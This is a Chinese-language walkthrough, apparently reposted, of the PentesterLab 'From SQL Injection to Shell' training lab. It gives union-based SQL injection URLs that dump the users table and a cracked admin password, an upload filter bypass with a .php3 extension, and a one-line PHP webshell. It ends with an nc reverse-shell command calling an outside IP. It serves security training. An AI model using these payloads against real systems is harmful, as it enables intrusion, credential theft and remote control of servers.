PentesterLab-From SQL Injection to Shell
Posted zlgxzswjy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PentesterLab-From SQL Injection to Shell相关的知识,希望对你有一定的参考价值。
一、打开靶机ip出现如下界面:
随便点一下,点到test链接,访问了如下url:http://192.168.109.131/cat.php?id=1,这里出现了一个id,常规思路这个位置可能有sql注入。然后看其他链接,都差不多,直到点到Admin的链接时,出来一个后台。
二、SQL注入先行
既然有id=1,首先看下这个id是字符还是数字,后面加一个 ‘ 号,出现了mysql的报错,确认是注入无疑,而且错误提示中只出现了一个 ‘ ,那看来是数字型了,下面就常规注入:
1、这种靶机一般不会有太多字段,手工从0开始order by一下,直到order by到4的时候报错了,那应该有三个字段
http://192.168.109.131/cat.php?id=2%20order%20by%203
2、开始看下注入点在第几个字段,发现出现在第二个字段
http://192.168.109.131/cat.php?id=2%20and%20select%201,2,3
3、那么就开始爆破库、表
http://192.168.109.131/cat.php?id=2%20union%20select%201,schema_name,3,4%20from%20information_schema.schemata%20limit%201,2
4、爆库过程中发现都是常见的mysql默认库,直到这里发现一个首页字样的库名,库名为photoblog,拿着这个库名看下都有什么表,找到一个users的表
http://192.168.109.131/cat.php?id=2%20union%20select%201,table_name,3,4%20from%20information_schema.tables%20where%20table_schema=0x70686f746f626c6f67%20limit%203,4
5、然后看下字段,找到了login和password两个字段
http://192.168.109.131/cat.php?id=2%20union%20select%201,column_name,3,4%20from%20information_schema.columns%20where%20table_schema=0x70686f746f626c6f67%20and%20table_name=0x7573657273%20limit%202,3
6、查看这两个数据,得到用户名密码,md5破解后得到用户名密码:admin:P4ssw0rd
http://192.168.109.131/cat.php?id=2%20union%20select%201,login,3,4%20from%20photoblog.users%20limit%201,2
http://192.168.109.131/cat.php?id=2%20union%20select%201,password,3,4%20from%20photoblog.users%20limit%201,2
7、本来想着能通过注入直接getshell,发现当前用户没有权限,放弃这个思路
http://192.168.109.131/cat.php?id=2%20union%20select%201,%27%3C?php%20phpinfo();%3E%27,3,4%20into%20outfile%20%27/var/www/test.php%27
8、nmap跑了下端口,开了ssh服务,用这个账户登录了,发现进不去,看来系统密码没有被复用
9、回到页面首页,进入后台,输入用户名密码,成功进入后台
显示了很多图片,直接看到new字样,这里有个上传功能
10、随便上传一个php,报错了,提示 NO PHP,看来不能直接上传php,重新改了个后缀名,.php.jpg,上传成功,看来是只检测了后缀名,想到php引擎可以解析php1,php2,php3,这里直接试下php3,上传成功
#webshell脚本
<?php system($_GET[‘cmd‘]); ?>
11、通过该webshell执行nc反弹系统shell,完成该靶机任务
http://192.168.109.131/admin/uploads/function.php3?cmd=/bin/nc%2030.117.75.246%209999%20-e%20/bin/bash
请使用手机"扫一扫"x
以上是关于PentesterLab-From SQL Injection to Shell的主要内容,如果未能解决你的问题,请参考以下文章